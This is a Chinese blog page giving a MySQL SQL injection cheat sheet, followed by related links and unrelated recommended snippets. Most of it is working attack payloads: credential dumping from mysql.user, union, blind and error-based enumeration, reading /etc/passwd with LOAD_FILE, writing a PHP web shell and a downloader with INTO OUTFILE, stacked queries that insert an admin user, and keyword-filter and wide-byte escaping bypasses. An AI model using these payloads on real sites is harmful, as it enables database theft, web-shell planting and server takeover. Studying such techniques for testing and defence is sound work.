安全测试===Mysql 注入技巧学习 MySQL注入技巧(1)
默认存在的数据库:
mysql | 需要root权限读取 |
information_schema | 在5以上的版本中存在 |
测试是否存在注入方法
假:表示查询是错误的 (MySQL 报错/返回页面与原来不同)
真:表示查询是正常的 (返回页面与原来相同)
共三种情况:
字符串类型查询时: | 数字类型查询时: | 登陆时: | |||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|
|
例子:
SELECT * FROM Users WHERE id = '1''';
SELECT * FROM Users WHERE id = 3-2;
SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';
可以使用很多单双引号,只要是成对出现。
SELECT * FROM Articles WHERE id = '121'''''''''''''
引号后的语句会继续执行。
SELECT '1'''''"" UNION SELECT '2' # 1 and 2
下面的符号可以用来注释语句:
# | Hash 语法 |
/* | C-style 语法 |
-- - | SQL 语法 |
;%00 | 空字节 |
` | 反引号 |
例子:
SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';
测试数据库版本
VERSION()
@@VERSION
@@GLOBAL.VERSION
如果版本为5的话,下面例子返回为真:
SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';
windows平台上的mysql查询与linux上返回不同,如果是windows服务器返回结果会包含 -nt-log字符。
数据库认证信息:
表 | mysql.user |
字段 | user, password |
当前用户 | user(), current_user(), current_user, system_user(), session_user() |
例子:
SELECT current_user;
SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)
数据库名:
表 | information_schema.schemata, mysql.db |
字段 | schema_name, db |
当前数据库 | database(), schema() |
例子:
SELECT database();
SELECT schema_name FROM information_schema.schemata;
SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)
服务器主机名:
@@HOSTNAME
例子:
SELECT @@hostname;
表和字段
检测字段数
两种方式:
ORDER BY判断 | ORDER BY n+1; 让n一直增加直到出现错误页面。 例子: 查询语句 SELECT username, password, permission FROM Users WHERE id = '1'; 1' ORDER BY 1--+ 真 1' ORDER BY 2--+ 真 1' ORDER BY 3--+ 真 1' ORDER BY 4--+ 假- 查询只用了3个字段 -1' UNION SELECT 1,2,3--+ 真 |
基于错误查询 | AND (SELECT * FROM SOME_EXISTING_TABLE) = 1 注意: 这种方式需要你知道所要查询的表名。 这种报错方式返回表的字段数,而不是错误的查询语句。 例子: 查询语句 SELECT permission FROM Users WHERE id = 1; AND (SELECT * FROM Users) = 1 返回Users的字段数 |
查询表名
三种方式:
Union方式 | UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;-- MySQL 4版本时用version=9,MySQL 5版本时用version=10 |
盲注 | AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A' |
报错 | AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));-- 在5.1.5版本中成功。 |
查询列名
Union方式 | UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename' |
盲注 | AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A' |
报错 | AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));-- 在5.1.5版本中成功。 AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)-- MySQL 5.1版本修复了 |
利用PROCEDURE ANALYSE() | 这个需要web展示页面有你所注入查询的一个字段。 例子: 查询语句 SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE() 获得第一个段名 1 LIMIT 1,1 PROCEDURE ANALYSE() 获得第二个段名 1 LIMIT 2,1 PROCEDURE ANALYSE() 获得第三个段名 |
一次查询多个表或列
SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x
例子:
SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';
输出结果:
[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED
利用代码:
SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns
例子:
SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns;
输出结果:
Table: talk_revisions
Column: revid
Table: talk_revisions
Column: userid
Table: talk_revisions
Column: user
Table: talk_projects
Column: priority
根据列名查询所在的表
SELECT table_name FROM information_schema.columns WHERE column_name = 'username'; | 查询字段为username的表 |
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%'; | 查询字段中包含user的表 |
根据表查询包含的字段
SELECT column_name FROM information_schema.columns WHERE table_name = 'Users'; | 查询user表中的字段 |
SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%'; | 查询包含user字符串表中的字段 |
绕过引号限制
SELECT * FROM Users WHERE username = 0x61646D696E | Hex编码 |
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) | 利用CHAR()函数 |
绕过字符串黑名单
SELECT 'a' 'd' 'mi' 'n'; |
SELECT CONCAT('a', 'd', 'm', 'i', 'n'); |
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n'); |
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n'); |
使用CONCAT()时,任何个参数为null,将返回null, 推荐使用CONCAT_WS() 。
CONCAT_WS() 函数第一个参数表示用哪个字符间隔所查询的结果。
条件语句
CASE |
IF() |
IFNULL() |
NULLIF() |
例子:
SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;
时间延迟查询:
SLEEP() | MySQL 5 |
BENCHMARK() | MySQL 4/5 |
例子:
' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '
权限
文件权限
下面的语句可以查询用户读写文件操作权限:
SELECT file_priv FROM mysql.user WHERE user = 'username'; | 需要root用户来执行 | MySQL 4/5 |
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%'; | 普通用户都可以 | MySQL 5 |
读取文件
如果用户有文件操作权限可以读取文件:
LOAD_FILE()
例子:
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(0x2F6574632F706173737764);
- 文件必须在服务器上。
- LOAD_FILE()函数操作文件的当前目录是@@datadir 。
- MySQL用户必须拥有对此文件读取的权限。
- 文件大小必须小于 max_allowed_packet。
- @@max_allowed_packet的默认大小是1047552 字节.
写文件
如果用户有文件操作权限可以写文件。
INTO OUTFILE/DUMPFILE
写一个php的shell:
SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
访问如下链接:
http://localhost/shell.php?c=cat%20/etc/passwd
写一个下载者:
SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'
访问如下链接:
http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt
- INTO OUTFILE 不可以覆盖已存在的文件。
- INTO OUTFILE 必须是最后一个查询。
- 引号是必须的,因为没有办法可以编码路径名。
PDO堆查询方式操作数据库
PHP使用PDO_MYSQL来连接数据库,便可以使用堆查询,堆查询可以同时执行多个语句。
SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username,password,priv) VALUES ('BobbyTables', 'kl20da$$','admin');
MySql特有的写法
MySql中,/*! SQL 语句 */ 这种格式里面的 SQL 语句会当正常的语句一样被解析。
如果在!之后是一串数字(这串数字就是 mysql 数据库的版本号), 如:/*! 12345 SQL 语句 */
当版本号大于等于该数字,SQL 语句则执行,否则就不执行。
SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);
模糊和混淆
允许的字符
09 | Horizontal Tab |
0A | New Line |
0B | Vertical Tab |
0C | New Page |
0D | Carriage Return |
A0 | Non-breaking Space |
20 | Space |
例子:
'%0A%09UNION%0CSELECT%A0NULL%20%23
括号也可以用来绕过过滤空格的情况:
28 | ( |
29 | ) |
例子:
UNION(SELECT(column)FROM(table))
AND或OR后面可以跟的字符
20 | Space |
2B | + |
2D | - |
7E | ~ |
21 | ! |
40 | @ |
例子:
SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))
dual是一个虚拟表,可以用来做测试。
几个针对黑名单绕过的例子
基于关键字的黑名单
过滤关键字 | and or |
php代码 | preg_match('/(and|or)/i',$id) |
会过滤的攻击代码 | 1 or 1=1 1 and 1=1 |
绕过方式 | 1 || 1=1 1 && 1=1 |
下面这种方式你需要已经知道一些表和字段名(可以利用substring函数去一个一个获得information_schema.columns表中的数据)
过滤关键字 | and or union |
php代码 | preg_match('/(and|or|union)/i',$id) |
会过滤的攻击代码 | union select user,password from users |
绕过方式 | 1 && (select user from users where userid=1)='admin' |
过滤关键字 | and or union where |
php代码 | preg_match('/(and|or|union|where)/i',$id) |
会过滤的攻击代码 | 1 && (select user from users where user_id = 1) = 'admin' |
绕过方式 | 1 && (select user from users limit 1) = 'admin' |
过滤关键字 | and or union where |
php代码 | preg_match('/(and|or|union|where)/i',$id) |
会过滤的攻击代码 | 1 && (select user from users where user_id = 1) = 'admin' |
绕过方式 | 1 && (select user from users limit 1) = 'admin' |
过滤关键字 | and, or, union, where, limit |
php代码 | preg_match('/(and|or|union|where|limit)/i', $id) |
会过滤的攻击代码 | 1 && (select user from users limit 1) = 'admin' |
绕过方式 | 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin |
过滤关键字 | and, or, union, where, limit, group by |
php代码 | preg_match('/(and|or|union|where|limit|group by)/i', $id) |
会过滤的攻击代码 | 1 && (select user from users group by user_id having user_id = 1) = 'admin' |
绕过方式 | 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1 |
过滤关键字 | and, or, union, where, limit, group by, select |
php代码 | preg_match('/(and|or|union|where|limit|group by|select)/i', $id) |
会过滤的攻击代码 | 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1 |
绕过方式 | 1 && substr(user,1,1) = 'a' |
过滤关键字 | and, or, union, where, limit, group by, select, ' |
php代码 | preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id) |
会过滤的攻击代码 | 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1 |
绕过方式 | 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61) |
过滤关键字 | and, or, union, where, limit, group by, select, ', hex |
php代码 | preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id) |
会过滤的攻击代码 | 1 && substr(user,1,1) = unhex(61) |
绕过方式 | 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。 |
过滤关键字 | and, or, union, where, limit, group by, select, ', hex, substr |
php代码 | preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id) |
会过滤的攻击代码 | 1 && substr(user,1,1) = lower(conv(11,10,16))/td> |
绕过方式 | 1 && lpad(user,7,1) |
过滤关键字 | and, or, union, where, limit, group by, select, ', hex, substr, 空格 |
php代码 | preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id) |
会过滤的攻击代码 | 1 && lpad(user,7,1)/td> |
绕过方式 | 1%0b||%0blpad(user,7,1) |
过滤关键字 | and or union where |
php代码 | preg_match('/(and|or|union|where)/i',$id) |
会过滤的攻击代码 | 1 || (select user from users where user_id = 1) = 'admin' |
绕过方式 | 1 || (select user from users limit 1) = 'admin' |
利用正则表达式进行盲注
我们都已经知道,在MYSQL 5+中 information_schema库中存储了所有的 库名,表明以及字段名信息。故攻击方式如下:
1、判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名。
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*
2、判断第一个字符是否是a-n中的字符
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*
3、确定该字符为n
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*
4、表达式的更换如下
'^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE
这时说明表名为news ,要验证是否是该表明 正则表达式为'^news$',但是没这必要 直接判断 table_name = 'news' 不就行了。
5、接下来猜解其它表了 只需要修改 limit 1,1 -> limit 2,1就可以对接下来的表进行盲注了。
order by后的注入
oder by由于是排序语句,所以可以利用条件语句做判断,根据返回的排序结果不同判断条件的真假。
一般带有oder或者orderby的变量很可能是这种注入,在知道一个字段的时候可以采用如下方式注入:
原始链接:http://www.test.com/list.php?order=vote 根据vote字段排序。
找到投票数最大的票数num然后构造以下链接:
http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc
看排序是否变化。
还有一种方法不需要知道任何字段信息,使用rand函数:
http://www.test.com/list.php?order=rand(true)
http://www.test.com/list.php?order=rand(false)
以上两个会返回不同的排序,判断表名中第一个字符是否小于128的语句如下:
http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))
宽字节注入
sql注入中的宽字节国内最常使用的gbk编码,这种方式主要是绕过addslashes等对特殊字符进行转移的绕过。反斜杠()的十六进制为%5c,在你输入%bf%27时,函数遇到单引号自动转移加入\,此时变为%bf%5c%27,%bf%5c在gbk中变为一个宽字符“縗”。%bf那个位置可以是%81-%fe中间的任何字符。不止在sql注入中,宽字符注入在很多地方都可以应用。
安全测试===Mysql 注入技巧学习 MySQL注入技巧(1)的更多相关文章
- Spring.NET依赖注入框架学习--简单对象注入
Spring.NET依赖注入框架学习--简单对象注入 在前面的俩篇中讲解了依赖注入的概念以及Spring.NET框架的核心模块介绍,今天就要看看怎么来使用Spring.NET实现一个简单的对象注入 常 ...
- 安全测试===Mysql 注入技巧学习 MySQL注入技巧(2)
原文地址:http://websec.files.wordpress.com/2010/11/sqli2.pdf 0x00.介绍 也可以参考瞌腄龙的mysql注入科普:http://drops.woo ...
- mysql存储过程的学习(mysql提高执行效率之进阶过程)
1:存储过程: 答:存储过程是sql语句和控制语句的预编译集合,以一个名称存储并作为一个单元处理:存储过程存储在数据库内,可以由应用程序调用执行,而且允许用户声明变量以及进行流程控制,存储类型可以接受 ...
- Java工程师学习指南第7部分:重新学习MySQL与Redis
本文整理了微信公众号[Java技术江湖]发表和转载过的Mysql和Redis相关优质文章,想看到更多Java技术文章,就赶紧关注本公众号吧吧. 大白话说说mysql 面试官:给我说说你平时是如何优化M ...
- MySQL 定时器EVENT学习
原文:http://blog.csdn.net/lifuxiangcaohui/article/details/6583535 MySQL 定时器EVENT学习 MySQL从5.1开始支持event功 ...
- 重新学习MySQL数据库11:以Java的视角来聊聊SQL注入
本文转自互联网 本系列文章将整理到我在GitHub上的<Java面试指南>仓库,更多精彩内容请到我的仓库里查看 https://github.com/h2pl/Java-Tutorial ...
- 【漏洞汇总】SQL 注入漏洞之 mysql
日期:2019-07-23 19:55:59 更新:2019-08-02 10:40:37 作者:Bay0net 介绍:Mysql 注入笔记 0x01. 基本信息 1.1 基本术语 数据库: 数据库是 ...
- mysql的floor()报错注入方法详细分析
刚开始学习sql注入,遇见了 select count(*) from table group by floor(rand(0)*2); 这么条语句.在此做个总结. (更好的阅读体验可访问 这里 ) ...
- 2019-9-10:渗透测试,基础学习,sql注入笔记
sql注入1,万能密码,自己写的网站,找到登录窗口,必须和数据库交互,往里插入构造的恶意代码,最后可以直接登录进去,不需要账号和密码,输入的恶意代码成为万能密码,后端拼接的sql语句,SELECT * ...
随机推荐
- 第二篇 Postman的高阶使用之配置全局变量及局部变量的调用及设置方法(手动方法)
第五篇主要写了关于postman的基本使用,重点是如果发送json请求,为什么要将发送json请求呢, 一是目前大多数的请求已经倾向于发送json格式,二是本人太懒了,不想一个字段一个字段的添加到参数 ...
- git安装后Gitbase闪退,gui无法使用问题解决
一般是因为null.sys导致,根本原因应该还是你装的盗版系统有问题,解决办法如下 cmd 打开命题提示符后 输入 sc start null 看 null.sys是否有问题,如果有问题,重新 ...
- 12-Mysql数据库----多表查询
本节重点: 多表连接查询 符合条件连接查询 子查询 准备工作:准备两张表,部门表(department).员工表(employee) create table department( id int, ...
- week12第二轮迭代任务分配forZ.XML
Z.XML第二轮迭代任务初步分配新鲜出炉,请关注! 以上便是任务分配列表,队员们会按照进度每天更改任务进度 当然,根据敏捷开发的方法,我们将在开发过程中根据情况迅速调整任务分配,以适应当时问题. Z- ...
- bbbbbeta
about beta 写在开头:(小声bb,无任何专业知识) 好了正文开始了 = = beta冲刺对于来说可能是让我觉得非常有成就感的叭,相比于alpha,每天都能写代码的感觉真好鸭(认真脸)(虽然天 ...
- 【转】 cocos2dx 3.x C++搭建protobuf环境
http://blog.csdn.net/ganpengjin1/article/details/50964961 Cocos2dx 里面在网络游戏通信这一块一般我们都会采用protobuf来进行通信 ...
- qemu的drive参数解释
drive参数很简单,可以理解成是定义了一个实际的硬盘(或者是cd)与drive对应的是device-drive option[,option[,option[,...]]] Define a new ...
- Python数据分析(二)pandas缺失值处理
import pandas as pd import numpy as np df = pd.DataFrame(np.random.randn(5, 3), index=['a', 'c', 'e' ...
- Xcode 6.0中彻底关闭ARC
对整个项目关闭ARCproject -> Build settings -> Apple LLVM complier 3.0 - Language -> objective-C Au ...
- BZOJ3573 [Hnoi2014]米特运输 【贪心】
题目链接 BZOJ3573 题解 题目又臭又长系列 题意:修改尽量少的点权,使得: ①同个节点的所有儿子点权相同 ②任意非叶节点权值等于其儿子权值之和 容易发现一旦任意一个点权值确定,整棵树权值就确定 ...